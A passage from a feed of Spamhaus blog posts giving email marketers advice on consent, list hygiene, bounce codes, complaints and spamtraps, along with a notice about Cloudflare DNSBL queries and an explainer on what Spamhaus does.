critical factor in determining the fate of an email today. Unexpected marketing mail causes people to report it as spam, driving down reputation and deliverability. Increased bounce rates –** Incorrect addresses cause high bounce rates, which can (and do) provoke adverse reactions from ISPs, resulting in spam foldering, rate-limiting, or blocking. 3. Opt-out Opt-out is the least useful, messiest, and riskiest of all acquisition methods, and you should avoid it at all costs. It has been proven to negatively affect IP and domain reputation, causing severe problems with successful email delivery. Opt-out employs the assumption that you can acquire permission after the event: That’s not how permission works. It cannot be granted retrospectively; you must get it upon initial contact. Opt-out methods also include the use of purchased or rented mailing lists, addresses scraped or harvested from the web, etc. Issues with opt-out Opt-out places the burden of permission on the recipients, which rarely goes well for the marketer. Use of this method is guaranteed to cause: High bounce rates.** Spam complaints.** Hitting Spam traps.** ISP blocks.** Listing on blocklists by reputation and filter vendors.** Next stop… let’s move onto the day-to-day operations of running a marketing email program starting with how to avoid looking like a spammer when you’re sending emails.

How to avoid looking like a spammer when sending marketing emails

The Spamhaus Team — Tue, 15 Feb 2022 12:06:04 GMT

The day-to-day running of an email program opens up as many pitfalls of appearing like a spammer as the program’s set-up does. Here are a few key elements to abide by to ensure an ISP or blocklist provider doesn’t view your marketing emails as malicious: Spammers often send email erratically; therefore, a steady sending pattern is essential. Bursty mailings or sudden and significant changes in volume are things that infected hosts do. Remember that an ISP’s filtering systems do not know or care that your company is trying to make money on Mother’s Day retail activity – if your sending patterns mimic an infected host, your email will not get through! Never send to a suppression list by accident. The phrase “we sent the wrong segment by accident” has been used by spammers to the point that it has created a knee-jerk response in ISP abuse-desk workers. Do NOT let this mistake happen: render such an event completely impossible! Given the various questionable ways that miscreants acquire mailing lists for their malicious campaigns, their unknown user rate per send is likely to be high. Hence it’s vital to ensure a low rate of unknown users in any given send. A spammer’s care factor is almost 0% regarding reputation – they burn through IP addresses and domains. Yours does matter, so keep an eye on all of your sending metrics, including unexpected bounces, temporary failures, and anything that could indicate abnormalities in the mail stream. If you’re an Email Service Provider (ESP), keep an eye on your SMTP logs. A cybercriminal’s engagement rate doesn’t need to be high – sometimes, they’re just looking for a few victims per email campaign. This is why your engagement rate does need to be high. Where possible, use a “preference center” to let people choose what content they’re interested in receiving from you to maximize engagement rates. Don’t send attachments with emails – one fundamental way a cybercriminal delivers their malware payload is via an attachment. With these elements covered, we will be delving into the fundamentals of address acquisition to ensure you’re building your mailing lists appropriately without potentially damaging your email reputation.

Address acquisition for mailing lists - the basics

The Spamhaus Team — Tue, 15 Feb 2022 12:05:03 GMT

There are many approaches to address acquisition when building email marketing lists; however, these approaches won’t always benefit your deliverability and email reputation. Here we examine the data marketers should be recording, considerations when using online forms, and address acquisition methods to avoid at all costs. What data should you be collecting? The methods utilized to build mailing lists or contact databases are critical to creating and maintaining good list hygiene. In today’s world, where laws regarding personally identifiable information (PII) [insert link to legalities article] are prevalent, you must accurately record data during the acquisition process, preserve it and update it as necessary. We recommend keeping the following information for every contact: The date & time of the sign-up in UTC. The channel that was used to obtain the email address. The IP address that submitted the email address. If one of your IPs or domains is blocklisted and manual intervention is required to resolve the issue, ISPs and/or reputation providers often demand proof of consent. Without good records, such proof is impossible to provide, and therefore any resolution to a block will take longer. In the event of a GDPR or similar data removal request, having these records could save your company a great deal of money in fines. Recommendations for website and online forms Make “opting-in” voluntary – If you collect contact email addresses via a website or online form, we recommend utilizing a checkbox that the user must voluntarily selectbefore being added to a marketing program. Using a pre-checked box is generally viewed as dishonest and is actively illegal in some countries. People can fail to notice the checkbox and then get an unpleasant surprise when they receive marketing emails they did not ask for or expect. Consequently, they report the mail as spam, causing you reputational and brand degradation. Be transparent in your sign-up process! Protect your forms – Due to an ongoing and widespread problem that began in August of 2016that has been escalating ever since, we recommend that you secure web forms against abuse by adding a CAPTCHA or ReCAPTCHA to the form (both are free tools). Bots use unsecured forms to sign up an uncountable number of bad email addresses, resulting in database poisoning. This can also create what amounts to a denial of service attack (DoS). Confirmed opt-in – Once a contact has completed a form, we strongly recommend using the confirmed opt-in (COI) method, obtaining active consent via email from the user. Read [insert article] for an in-depth look at opt-in options. Ways NOT to increase your marketing contact lists When it comes to increasing the number of marketing contacts in your lists, we strongly advise against any of the following methods: Buying a list Harvesting email addresses Using append Best practice states that contacts should confirm that they consent for you to send them communications (COI). Consent is not transferable, and violating it makes recipients angry. In the days of GDPR (and other laws), breaking that consent can be an exceptionally costly thing to do. See below for a detailed explanation of why you shouldn’t ever consider using one of the above three approaches to expand your marketing lists. Purchased or Rented Mailing Lists The damage that a purchased list can do is incalculable. Spamhaus has clear views about purchasing and selling mailing lists: because consent is not transferable, this practice is, by definition, impossible and therefore fraudulent. Buying and selling lists do not allow the purchaser to obtain consent to send email to the recipients in that list. Permission is not transferrable.** As a result of complaints, bounces, and potential spamtrap hits, using such lists can: Result in IPs or domains being put on blocklists Reduce overall deliverability and inbox placement for a long time – reputation is much harder to rebuild than to destroy! Cause severe damage to brand reputation The Messaging Malware Mobile Anti-Abuse Working Group (M3AAWG) has published a statement about the sale of email address lists, which Spamhaus fully supports – “The practice of selling, buying or sending to lists of purchased email addresses – whether business to business (B2B), business to consumers (B2C) or other categories, is in direct violation of M3AAWG core values.” Harvesting Harvesting is a data collection practice in which emails are obtained by scraping websites, forums, etc. Some less than scrupulous operators also try random combinations of email addresses at specific ISPs to find active email addresses. This method provides no avenue for opt-in or any kind of permission or consent and typically causes serious blocking and delivery issues for any sender that employs it. Permission is not transferrable.** As a result of complaints and spamtrap hits, using such lists can: Cause severe, long-lasting damage to brand reputation Degrade inbox placement in the short term Reduce deliverability in the long term Epending/Appending In marketing terms, “epending” or “appending” is the practice of taking demographic information known (or assumed) to be related to a particular customer and matching it with other data. The terms are interchangeable in use. Following published industry best practices, we firmly recommend not using this address acquisition method. M3AAWG has published a clear statement about e-pending, which Spamhaus fully supports: “The practice of email appending is in direct violation of core MAAWG values.”. Co-reg/Affiliate Marketing While it is technically possible to do co-registration (co-reg) or affiliate style marketing without violating permission or applicable laws, it is exceptionally challenging. Our advice is not to do it because (again) permission is not transferrable. Managing your data collection methods brings peace of mind When you buy, rent, epend/append, or use co-reg/affiliate lists; you have no quality assurance on the integrity of this data. You cannot purchase consent, and such lists significantly increase the risk of long-term damage to your email campaigns because permission is not transferrable. As we said at the beginning – please avoid at all costs. With a robust sign-up policy in place, it’s time to think about how frequently you should be sending emails and the importance of engagement.

Email frequency and engagement

The Spamhaus Team — Tue, 15 Feb 2022 12:04:08 GMT

Email frequency and engagement are elements that can’t be overlooked if you want to ensure good email deliverability. Setting recipient expectations during your confirmation message is a helpful strategy; sticking to that expectation is invaluable. Sending email too frequently can cause “email exhaustion”; people who have a clear expectation that is met will feel respected and are much less likely to report as spam, delete the emails unread, or unsubscribe. How often should you send to your mailing list? Marketers should tailor the “correct” frequency to the individual marketing campaign, and having a sunset strategy is vital to maintaining a healthy and engaged mailing list. Here is an example: If more than a week passes without the recipient opening an email, change them from weekly to monthly. If more than a month passes without the recipient opening an email, send them an email asking, “Do you wish to continue your subscription?” This should contain a link that the contact can click if they wish to continue. If they don’t respond, add them to your suppression list and stop sending them emails! Sending email in bulk to addresses that have never given consent to receive those messages is spam. Continually sending to email addresses that have never successfully been delivered is also spam. Considering changing the frequency of your marketing emails? Intended changes in frequency to email campaigns should be very carefully considered, especially around the holidays. Many marketers believe that ISPs, reputation, and filter vendors such as Spamhaus “tighten the rules” around the holidays, which is not the case. Nothing changes on the recipient or vendor side – what causes the perceived “tightening” is created by changes in sender behavior. The holidays are when senders tend to reach deeply into their subscriber lists (or even buy lists!), taking chances on sending to unengaged or even unsubscribed customers in the hopes of making some extra money during the lucrative holiday sales season. What usually happens is that using those older, unused segments triggers the domino effect of a decline in reputation. Then inbox placement is affected, leading to adverse outcomes, including tempfails, deferrals, blocks, and sometimes even inclusion on reputation lists, such as Spamhaus produces. The value of email engagement Engagement is valuable for measuring how your marketing program is performing and is typically measured by recording clicks, opens, purchases, and interactions with social media. If engagement is too low, it is time to look at the age, content, mailing frequency, and segmentation of the program lists. Please note – Spamhaus reserves the right to engage with the spam we receive and even to follow non-subscription links. There are many anti-spam appliances that now do this also. The fact that an email is opened or a link is clicked does not mean consent has been given. How often should you review email engagement? We strongly recommend that you carry out continuous iterative work to segment out anyone that has not actively engaged with a given mail stream in X amount of time. The usual starting place is one year, then moving to six months, three months, etc., depending on results. The importance of good email data hygiene Remember – keep it clean! The regular practice of data hygiene is crucial: flawed address collection processes and bad sending practices can result in you adding spamtraps to your mailing lists. The presence of spamtraps confirms the underlying data problems; focusing on finding and removing traps treats the symptom, not the problem. Spamtrap hunting is a short-term solution with limited benefits, as traps are only one part of the reputational mix that is in use today. Here are other mistakes that can be exceptionally costly in both time and money. Sending to the “wrong” segment of a database, including failing to use your suppression list, Making sudden sizeable changes to the volume or frequency of email streams. Sending to older lists that may contain spamtraps or many invalid addresses, Using a purchased list Keeping recipients engaged and active is the single most important thing a marketer can do to ensure the success of an email marketing program. Reputation is much harder to rebuild than ruin. Part of keeping that good reputation intact is effectively managing bounced emails and we’ll be explaining how to do this next.

How to handle bounced emails

The Spamhaus Team — Tue, 15 Feb 2022 12:03:14 GMT

Managing hard bounces, soft bounces, and blocks is another crucial element of maintaining a successful email marketing program. Here’s an explanation of the difference between hard and soft bounces, ISP hard blocks, and what you should be doing when you encounter them during an email campaign. Hard Bounces | Definition of a hard bounce – Fatal Error: No retry will occur A hard bounce occurs when the email server rejects the email due to permanent conditions. This typically results when ‘user unknown’ or ‘domain not found’ errors occur. However, there are also other, less common reasons. The SMTP response code for all hard bounces begins with 5xx. Below are some of the most frequently seen by marketers: 550* – “Non-existent email address”*: This usually defines a non-existent email address on the remote side. The great majority of errors 550 mean that the recipient’s email address doesn’t exist. 512* –A DNS error*: the host server for the recipient’s domain name cannot be found. The domain does not exist in DNS. 551* – “User not local or invalid address – Relay denied*.” Meaning if both your address and the recipient’s are not locally hosted by the server, a relay can be interrupted. 552* – “Requested mail actions aborted – Exceeded storage allocation*”: simply put, the recipient’s mailbox is full. 553* – *“Requested action not taken – Mailbox name invalid**.” There is an invalid email address in the “recipient” field. In relation to an email marketing campaign, most of these errors are the direct result of poor data hygiene. As there is a considerable amount of churn in email addresses, sending to outdated lists increases the chances of sending to non-existent domains. This can be dangerous as non-existent domains can be spamtraps. If you encounter a hard bounce, ensure you don’t send to the contact again. Soft Bounces | Definition of a soft bounce: Temporary Failure: retry will occur A soft bounce occurs when the email server rejects the email due to a normally temporary condition, such as a full inbox or too many complaints. When that happens, the system tries to send the email again until it is either accepted or times out. The time-out is set on the sending side and varies by network. 421 – The service is unavailable due to a connection problem:** it may refer to an exceeded limit of simultaneous connections, a lack of resources on the receiver side, or a more general temporary problem such as a reduction in reputation. 450* – “Requested action not taken – The user’s mailbox is unavailable*.” The mailbox has been corrupted or placed on an offline server, or the email hasn’t been accepted due to reputation or blocklisting. 451 –* “Requested action aborted – Local error in processing*.” The ISP’s server or the server that got the first relay has encountered a connection problem. 452 – Too many emails sent or too many recipients:** more in general, a server storage limit exceeded. Some ISPs respond to dips in reputation by issuing “tempfails” preceded by a 4xx code, usually 421. This means they will defer mail for a determined amount of time until either the mail stops coming or reputation re-calculates upward again. That error can look like this: “421 4.7.0 [TS01] Messages from x.x.x.x temporarily deferred due to user complaints.” Addresses affected by a temp-fail should not necessarily be removed from a mailing list! If the block is due to a poor-quality mailing list, you should review your list hygiene and correct any problems before trying again. ISP Hard Blocks In the modern email ecosystem, most receivers base their spam filtering on a reputation-based system, be it purchased, home-grown, or a combination of the two. They all have different ways of accomplishing their goal of protecting their users from unwanted email, but they all have some commonalities. ISPs typically respond to mail that is coming from an IP/domain with poor reputation and/or incorrect or missing authentication in this general pattern: Placing mail in the spam folder. Increasing levels of rejection, beginning with temp-failing or throttling the problematic mail stream. Bouncing/rejecting the problematic mail stream and possibly escalating to hard blocking. If an ISP issues a hard block, they are indicating they will no longer accept mail from the sending IP and that this is not a temporary issue. The most commonly used SMTP code for hard blocks is: 554 – This is a permanent error, and the server will not try to send the message again. This type of bounce occurs when the receiving email server rejects the email for policy reasons, including: URL or email body content blocks Lack of correct authentication Poor IP or domain reputation The presence of the sending IP/domain on a blocklist in use by the recipient. Depending on the ISP, the blocks will often disappear over an arbitrary period (24-72 hours, generally) if the triggering issue ceases. The error for such a block will usually begin with “554” and contain more specific information or a URL you can consult for more details. For example: “554 The IP address of your mail server (127.0.0.1) was found in the Spamhaus blocklist. See for details“. These blocks can result from a decision made by looking at their own data, data provided by a reputation provider like Spamhaus, a filter vendor such as Cloudmark, or a combination of two or more of these. If the block does not resolve on its own, but you have resolved the triggering issue, you will need to open a ticket with the network that is issuing the block to fix the problem, if possible. It will be necessary to understand what caused the block and correct it before opening a ticket. Some ISPS, notably Gmail, have no remediation path available at all. Correctly managing bounces goes a long way toward keeping mailing lists clean and up to date. Spam filters and Reputation Providers As a general rule, it is safe to say that Gmail, Hotmail, and Verizon Media (what used to be Yahoo and AOL) use mostly home-grown spam filtering technology. Due to the nature of their business model as mailbox providers, they have access to a huge amount of data regarding their own users’ email behavior. Generally, these providers prefer to use their data, as it is more accurate in relation to their networks. They may or may not use commercially available data combined with their own: they will not say. Providers like Comcast, RoadRunner, and Sky use commercial spam filters and reputation providers such as Cloudmark’s and Spamhaus’ offerings. Modern spam filters have become very sophisticated; they are flexible and fast. Being blocked by any spam filter vendor (such as Cloudmark) or reputation provider (such as Spamhaus) can have time-consuming and costly results. Of course, the impact depends on many factors, including how widespread the adoption of the filter is. There are hundreds of blocklists in the industry, but only a few have a broad impact. Even if you use a comprehensive blocklist checking tool to review your IP or domain (MXToolbox, for example), you will end up on a blocklist somewhere. How seriously to take that depends on who is issuing the block. For example, a listing on the Spamhaus SBL has enormous reach, whereas you can happily ignore a listing by SPEWS. Now you know how to handle bounced emails let’s review how to manage complaints.

How to manage email complaints

The Spamhaus Team — Tue, 15 Feb 2022 12:02:11 GMT

Monitoring email complaints is a vital piece of the reputational “pie,” so keeping them as low as possible should be every marketer’s goal. There are many reasons recipients click “report spam,” some of which are manageable, and some are not. Manageable email complaints They didn’t sign up to receive the email you’re sending to them. Don’t send emails to people unless you have, at a minimum, opt-in from them. Failure to correctly set recipient expectations regarding frequency and content. Be clear in your confirmation opt-in email of what your recipients can expect to receive and how often they will receive it. They get too much email from you, or there has been a notable change in frequency. Mail that is too frequent can annoy recipients. Conversely, mail that is too infrequent may be unexpected, and recipients will report the mail as spam. Be consistent. The mailing list was purchased. Management of this issue is simple – don’t purchase lists! The messages your recipients are receiving aren’t relevant. Content that your recipients don’t like can frustrate them to the point that they report it is as spam. Targeting the correct demographic and audience is crucial. Sending mail after the recipient has unsubscribed. A recipient should be removed from your mailing list immediately if they unsubscribe, regardless of how long the applicable law says it is permissible to wait. Less manageable email complaints Recipients don’t remember signing up.** You can’t control someone’s memory; however, if they unsubscribe, ensure you action this immediately. You can control frequency; if someone signs up and you don’t send the first email for weeks or months later, they will forget. The address was collected at the point of sale, and human error took over.** Once again – this is out of your control. Just ensure that anyone who unsubscribes never receives another unsolicited email from you because you can guarantee that they will report it as spam next time. Frustrated recipients reporting indiscriminately.** Some recipients get so annoyed with the amount of email they receive that they will select large portions of their email box and report all of it as spam. Tools to help with email complaint management Some ISPs offer more in-depth data about what happens to email once they have accepted it. Here’s a selection: Hotmail Smart Network Data Service – SNDS-provides data about traffic such as mail volume, instances of deferrals or tempfails, complaint rates, and the number of their traps hit. GooglePostmaster Tools – provides limited data about complaint volumes and domain reputation via a web interface. Participate in all available feedback loops (see below for more details) Contract with a reputable Deliverability Consultant or hire a reputable email analytics company. Not all are created equal, so you should research these carefully. Email feedback loops A “feedback loop” (FBL) allows Internet Service Providers (ISPs) to report spam complaints submitted by their users to the originating network. This is done using Abuse Reporting Format (ARF), a machine-readable format that redacts personally identifiable information. Some major ISPs offer a feedback loop as a free service. You should process these reports promptly and immediately remove the complainants upon receipt. The length of time allowed for suppression to occur varies by law and country, so ‘immediately’ is the best practice. The number of complaints generated by a given IP is given significant weight by receivers, though ISPs will not reveal the threshold as it is part of their spam filtering recipe and will vary from ISP to ISP. A good reputation allows slightly more forgiveness than a poor one. That being the case, keeping complaints as low as possible is the prudent thing to do. Advice to help marketers avoid email complaints When you confirm an opt-in, be clear about what the user will receive and when. Keep that promise. Offer different frequency options that recipients can manage via a preference center. Don’t pre-check subscription boxes. DO NOT USE PURCHASED LISTS/LEADS Make unsubscribing super easy. Some laws regarding marketing mail require this, but even if they don’t, it’s always better to have someone use an unsubscribe link than report spam. Do not require a log-in to unsubscribe. It is illegal in some places and makes subscribers angry everywhere. Place the unsubscribe so it can be easily found, for example, a link on the top of the email. If receivers can’t locate it quickly, they will report it as spam instead. Use careful segmentation and A/B testing to ensure that you send email to the most well-targeted and engaged audience possible. If you sign up recipients via confirmed opt-in, keep your mailing lists clean, and only send relevant content to engaged contacts, you should have minimal complaints to manage. But, if you do receive them, we urge you to deal with them rapidly. Next in our guide is a detailed look at spamtraps.

Spamtraps – fix the problem, not the symptom

The Spamhaus Team — Tue, 15 Feb 2022 12:01:21 GMT

A spamtrap is an email address traditionally used to expose illegitimate senders who add email addresses to their lists without permission. They effectively identify email marketers with poor permission and list management practices. We strongly urge people to view spamtraps as proof of a data collection or hygiene issue and not be misled into conducting a hunt for spamtraps. Attempting to locate and remove traps only treats the symptom and not the underlying problem. Spamtraps are never revealed by their owners. Partly because they are a component of the secret sauce of their filtering, and partly because if the trap is identified, what usually happens is that the sender simply suppresses the trap address – and they don’t undertake any of the necessary to work to improve their data. Here’s an outline of the various types of spamtraps in use: Classic or Pristine Spamtraps Classic spamtraps are email addresses never given to a live user or exposed on a website but have started receiving email anyway. In some cases, these are addresses at domains that accept mail to any local part (wildcard domains: e.g., \*@example.com). Seeded Traps Seeded traps are email addresses that trap owners create and deliberately scatter – seeding around various places online that are not obvious (in webpage source code, for example). These traps highlight that the sender is either scraping addresses from the web or is buying lists from someone else who is scraping addresses. These traps are good for identifying sources sending mail without permission and those not honoring unsubscribe requests. Typo Domain Traps These are traps at domains that are similar to common domains: yaaho.com or ynail.com, homail.com, etc. Mail to these traps suggests to the trap owner that the sender is trying to send mail to real people. These are not “pure” spam traps, can contain a lot of real mail, and are generally weighted accordingly. Employing COI at the data collection point is a perfect way to avoid your lists being polluted by these nuisance traps. Dead Address Traps “Dead” traps were once-valid email addresses that ISPs have turned off. All mail to these addresses is rejected with a hard bounce for a period of time, often 12 months or more. After consistently rejecting mail for a pre-determined period, the addresses are silently turned back on in the form of spamtraps. These are very useful for ISPs to easily spot senders with poor list hygiene. Hitting this type of trap is a significant red flag. Dead Domain Traps Trap owners purchase expired domains and collect mail that comes into them. In many cases, these domains are turned off for a period of time, either hard bouncing mail or not resolving in DNS, before they are silently turned back on as spamtraps. Live Traps These are email addresses belonging to a real user. Owners use them for real mail, but they use the unsolicited mail coming into those addresses to make blocking decisions. Hitting these can be extremely dangerous if the person who owns them has connections. Domain registration addresses (a subset of live traps) Registration (or role account) addresses are a special type of live trap. These addresses, published in whois records, are frequently harvested and mailed. These types of addresses should almost NEVER be on a marketing mailing list. Examples include postmaster@example.com, abuse@example.com, admin@example.com, etc. At the end of the day, if you follow our best practices paying attention to data collection, hygiene, and sending frequency, you won’t need to worry about the various types of spamtraps that exist…. Because you won’t be hitting any. A final word We’ll finish where we started at the very beginning of this guide… Sending correctly authenticated, desired, well-targeted email to an engaged and active audience is the key to ongoing successful email delivery.

Botnet Threat Update Q4 2021

The Spamhaus Team — Thu, 20 Jan 2022 12:00:00 GMT

Q4 update on the botnet command and controllers our researchers are observing, including geolocation and who is hosting them.

SERVICE UPDATE | Spamhaus DNSBL users who query via Cloudflare DNS need to make changes to email set-up

The Spamhaus Team — Tue, 18 Jan 2022 10:19:00 GMT

If you query our free DNSBLs and use a Cloudflare DNS resolver to make those queries, please read Spamhaus Tech’s article on moving to their free Data Query Service and make the recommended changes. This will ensure that you don’t have any disruption in email filtering over the coming year, as we begin to make changes in line with our Terms of Use.

If you query the legacy DNSBLs via Cloudflare's DNS move to Spamhaus Technology's free Data Query Service

The Spamhaus Team — Mon, 17 Jan 2022 13:31:15 GMT

Are you currently using the Spamhaus Project’s DNS Blocklists (DNSBLs)? Do you access them via the Public Mirrors, for example, query “sbl.spamhaus.org”? Do you use Cloudflare’s DNS? If you’ve answered “yes” to all three of those questions, you need to make some changes to your email infrastructure. These changes are quick and easy to make, but if you fail to make them, you could find that at some point in 2022, all or none of your email is blocked! The headlines for those in a hurry The Spamhaus Project’s Terms of Use state that it doesn’t allow users to query via DNS resolvers where there is no attributable reverse DNS; this includes Cloudflare (we’ll explain why later in this article). To provide a clear signal to these users that these blocklists are not protecting their email, Spamhaus will return an error code; 127.255.255.254. If you haven’t set up your email servers to accept this error code, all emails could be rejected and bounced back to their sender. To prevent any issues with your email stream, stop accessing Spamhaus’ free blocklists via the Public Mirrors and start accessing the blocklists via our free Data Query Service (DQS), which you can sign up for here. Once you’ve verified your email address, you will get access to a “DQS key” to include in your configuration. These config changes take only minutes; see our technical docs for more detail. Why isn’t the Spamhaus Project allowing Cloudflare users to query its public blocklists? The blocklists that the Spamhaus Project makes freely available via its Public Mirrors are for small-scale, non-commercial use. To ensure these users have a good quality of service, usage is monitored and measured against the Project’s Terms of Use. Cloudflare masks organizations’ queries to the Project’s Public Mirrors, so the team can’t attribute usage to individual entities. They have no way of establishing the number of queries a single organization is making. To provide transparency, these free blocklists can be accessed via the free DQS. How is the free DQS different from the free Public Mirrors? Usage transparency** – users register to access the free DQS and are provided with a key that records query volumes. Increased performance** – blocklists are updated in real time. Additional protection** – access to more blocklists, including Zero Reputation Domain Blocklist, Domain Blocklist with Hostnames, and Auth Blocklist. How to access the free DQS Sign up for an account Verify your email address Log in to your account and access your DQS key Update your email configuration. We have config guides for mainstream MTAs. How will Cloudflare users be prevented from querying Spamhaus’ free DNSBLs? To ensure its Terms of Use are adhered to, the Spamhaus Project will block queries from a specific IP address outside the policy. It also returns an error code. In the case of querying via an open/public resolver, i.e., Cloudflare, the error code is 127.255.255.254. If your MTA can’t correctly parse these error codes, serious issues can occur, including bouncing all emails back to their senders and your emails not being queried against the blocklists. Here’s how to properly configure your MTA to process these error codes, if you continue to use the Spamhaus Project’s DNSBLs. When will the Spamhaus error code for Cloudflare DNSBL users be introduced? This year, the Spamhaus Project will slowly implement the error code across Cloudflare IP space, commencing from Tuesday, February 15th, 2022. Please don’t delay – take action now and move to the free DQS. What if I don’t want to use the free DQS? Use DNS resolvers with attributable DNS to continue being protected by Spamhaus’s IP and domain reputation. If you no longer wish for your mail stream to be protected for free by Spamhaus’ blocklists, remove all associated configurations from your email infrastructure. Further details Additional information for Spamhaus Project’s DNSBLs users having issues due to error codes is detailed here. Previous communications that were sent in relation to these changes can be found here: Spamhaus DNSBL return codes: technical update Using our public mirrors? Check your return codes now. Any questions? Not a problem – reach out to us via Twitter @spamhaustech or our contact form, and we’ll try and answer any question you have or failing that we’ll pass it onto the Spamhaus Project for a response.

What does Spamhaus do?

The Spamhaus Team — Tue, 30 Nov 2021 15:36:36 GMT

I regularly get asked the above question, shortly after I’ve been asked the classic ice-breaker, “what do you do?” My response to the latter is, “I work in marketing for a company called Spamhaus.” We then work through the inevitable “Spamwho?” to end up with ‘What do they do?” I usually respond with a simple “cyber security” because that’s generally as much as a layperson understands. I certainly don’t mention “we’re the authority on IP and domain reputation,” because to be fair, not so many years ago, even I would have gone “what?” So...what? I write this article for all of you out there who aren’t deeply embedded in this industry because the people I work with are remarkable. The world should know what they are doing to quietly protect all those who say “Spamwho?” be that your grandma or the network nerd at work.### The basics of what Spamhaus does Spamhaus analyzes vast amounts of data and lists internet resources with poor reputation because they are connected with malicious activity. Even that short sentence probably requires some explanation: By “internet resources,” I mean IP addresses [1], domains [2], cryptowallet addresses, email addresses, and malware files. By “malicious activity,” I mean all sorts of “badness,” including ransomware, malware, phishing, and spam. I should note that Spamhaus’ definition of “spam” is “if the message was sent unsolicited and in bulk.” By “huge amounts of data,” I mean on average over a 24 hour period we assess and process approximately: 4 billion SMTP connections (connections relating to emails) 3 million domains 18,000 malware samples IT and security specialists use these lists of IP addresses and domains. They provide the industry with control and insight to protect their users from “badness,” i.e., malicious activities as outlined above. And when I say “users,” I mean you, reading this. How are these IP and domain reputation lists compiled? In a nutshell, with hard work, years of experience, and working with the broader internet community. Let’s start with that final point, the broader internet community. Without a community sharing data, the internet would be like the wild west. In fact, that’s how it is often described when it was in its infancy. BUT YOU CAN’T SHARE DATA (I hear you shouting). Correct. Personally identifiable information (PII) can’t be shared, nor should it be. Ever. However, the infrastructure that supports your internet-based activities has connections relating to them, be that sending an email, surfing the web, or logging into your company’s accounting system. These connections don’t contain PII. Nonetheless, when analyzed, they can reveal if they are being used by bad actors to commit fraud, or in some cases, your local butcher who is naively spamming his customers with marketing emails. Data is shared from far and wide Spamhaus has a vast network of sensors collecting connection data within networks. From government organizations around the world to industry-leading internet providers to specialized researchers and analysts. Oh, and let’s not forget internal spam traps and honey pots. Data comes from the four corners of this mortal coil. At this point, you may be asking, “Why do people trust Spamhaus with this data?” It’s a fair question… that leads me onto “experience.” Over two decades of operating independently & ethically Remember how I referred to the internet being a little bit like the wild west? Well, Spamhaus was founded in 1998 by Steve Linford. He didn’t like the amount of spam and abuse he was seeing on the internet, so he started listing IP addresses associated with it. Quickly this gained momentum as like-minded geeks (no offense Steve) from across the globe joined the fight against abuse on the internet. The Spamhaus Project has been compiling IP and domain reputation lists for years. If you want to be involved with this kind of work, you want to work for Spamhaus. The Project’s researchers come from all different types of backgrounds across the world. Still, they have one vital thing in common – a passion for effecting change, moving the dial, and making the internet a safer place. I know it all sounds rather righteous, but believe me, it’s true. You will be hard pushed to find a group of people more intent on doing what’s right for the internet. This driving force within Spamhaus demands ethical behavior. So, given the experience, culture, and independence (we don’t answer to shareholders), you can understand why organizations far and wide trust us with this data. So, what do researchers do with all this data? Compiling the listings without prejudice Firstly, it’s probably wise to point out that the Spamhaus Project’s researchers and analysts have defined policies to follow. Opinion and bias don’t have a role to play in the listings. The policies, i.e., the criteria for what is listed, are carefully defined, honed over the years together with the industry to detect what internet resources are potentially malicious. And these policies work – recently, our researchers identified an email that wasn’t legitimate but was being sent from the FBI’s infrastructure. Someone had hacked into its system and was sending spam to numerous contacts. Poor choices can lead to a blocklist listing Obviously, it isn’t just those busy hacking into the FBIs’ infrastructure that may trigger being listed. Many individuals and organizations get listed through naive behavior. Often it isn’t just one issue that can cause your IP or domain name to be listed, but several. For example, you may be hosting your website on shared infrastructure, along with a plethora of phishing websites. Or you could be emailing a vast number of contacts within the first week of registering your domain, without having any sort of authentication set up. Technical and behavioral issues like these could lead to being listed on the Domain Blocklist. What techniques do we use to process the data? Numerous processes are used to analyze and apply reputation to the data, from machine learning to heuristics to manual investigations. Once an internet resource has met the criteria of the listing policy, it is… yes, you got it, listed. Removing IPs and domains from a Spamhaus listing It’s all very well listing all these IPs and domains. But how do people get their IPs and domains etc., removed from these blocklists? There is the “Checker” that enables users who have their IP address or domain listed to search for the listing. The user can discover why they were listed in the first place, what they need to do to ensure they’re not listed again, and finally, request removal. Once our researchers receive the removal request, they’ll confirm it’s genuine, try and answer any questions the user may have before finally approving removal. A helping hand to those less technically savvy Not so long ago, Alex, one of the Senior Threat Analysts, painstakingly worked with an elderly gentleman via the Checker to resolve the issues he was experiencing with sending mail. Between the two of them, they spent hours working out why he was being repeatedly listed. The problem was finally narrowed down to his doorbell that was sending spam! Read more about that in “When doorbells go rogue!” This is a serious business Unsurprisingly, there are numerous removal requests by bad actors… because not everyone who gets listed on a blocklist is innocent, far from it. Some of our researchers have had death threats – no word of a lie. When you’re stopping a cybercriminal from making money, they can take it very personally. What has all this got to do with you? While you may not have heard of Spamhaus, our IP and domain reputation data is currently protecting over 3 billion users. This data is integrated into numerous well-known security software applications. Internet Service Providers and hosting companies use it to help identify malicious behavior on their network. The researchers, analysts, and engineers of the Spamhaus Project are the silent protectors of the internet. Cheesy. But true. A note for anyone technical reading this* *– I know I have taken liberties in my interpretation of DNS and email. I am aware that anyone with in-depth knowledge of this area will be ranting as they read this article. Please forgive me; I have adopted the KISS (Keep it Simple Stupid) approach to help a layman understand what Spamhaus does. 🙂* \\\_\\\_\\\_\\\_\\\_\\\_\\\_\\\_\\\_ [1] IP addresses – everything connected to the internet has an IP address, including your doorbell! Get the technical detail here – [2] Domains – is the text that is mapped to an IP address. Get the technical detail here

Sakuraをご利用中のお客様、Spamhausのブロックリスト設定を変更してください。

The Spamhaus Team — Thu, 25 Nov 2021 13:27:34 GMT

